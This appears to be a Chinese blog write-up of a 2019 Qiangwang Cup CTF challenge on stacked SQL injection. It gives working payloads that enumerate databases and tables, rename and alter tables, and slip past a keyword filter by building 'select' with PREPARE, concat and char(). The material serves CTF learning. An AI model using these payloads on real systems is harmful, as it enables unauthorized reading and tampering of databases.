从2019强网杯[随便注]学习堆叠注入

0X1 确认是SQL注入,查找字段数

1
2
3
4
1' order by 1; #
1' order by 2; #
1' order by 3; #
#确认是2个字段

0x2 联合注入&尝试绕过

1
2
1' union select 1,2; #
#回显被PHP的preg_match()函数 正则表达式过滤

-PHP知识扩展之 preg_match() 函数

  • 语法用法
1
2
3
4
5
6
7
8
<?php
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索,所以SQL注入用大小写绕过是没有用的
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
echo "查找到匹配的字符串 php。";
} else {
echo "未发现匹配的字符串 php。";
}
?>

通过回显 发现select,update,delete,drop,insert,where ,点符号,都被过滤,尝试用堆叠注入

0X3 堆叠注入

  1. 尝试堆叠注入发现所有数据库
1
1'; show databases; #

  1. 查看当前数据库的所有表
1
1'; show tables; #

  1. 查看 1919810931114514 ,words 表的列名

1
2
3
1'; show columns from `1919810931114514`; #
1'; show columns from words; #
得知Flag在 1919810931114514 表中,但select函数被过滤

0X4 表改名&预编译绕过

方法一 修改表名

1
2
3
4
5
6
7
Payload: 1'; rename table words to word1; rename table `1919810931114514` to words; alter table words change flag id varchar(100); #

拆解:
1';
rename table words to word1;
rename table `1919810931114514` to words;
alter table words change flag id varchar(100); #

方法二 预编译绕过过滤

  1. SQL无变量预处理+Concat绕过
1
2
3
4
5
6
PREPARE [name] from '[sql语句]';    #生成预编译语句
EXECUTE [name]; #执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; #删除预编译语句

payload:
1';PREPARE ice from concat('s','elect',' * from `1919810931114514` '); EXECUTE ice; #

  1. SQL存在变量预处理+char+concat
1
2
3
4
5
6
7
8
SET @tb = 'words';  //存储表名
SET @sql1 = concat('se','lect * from ', @tb); //存储SQL语句
PREPARE name from @sql1; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sql1; //删除预定义SQL语句

select = char(115,101,108,101,99,116)
payload: 1'; SET @sql1=concat(char(115,101,108,101,99,116),' * from `1919810931114514` ');PREPARE ice from @sql1;EXECUTE ice;#

0X5 FLAG


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!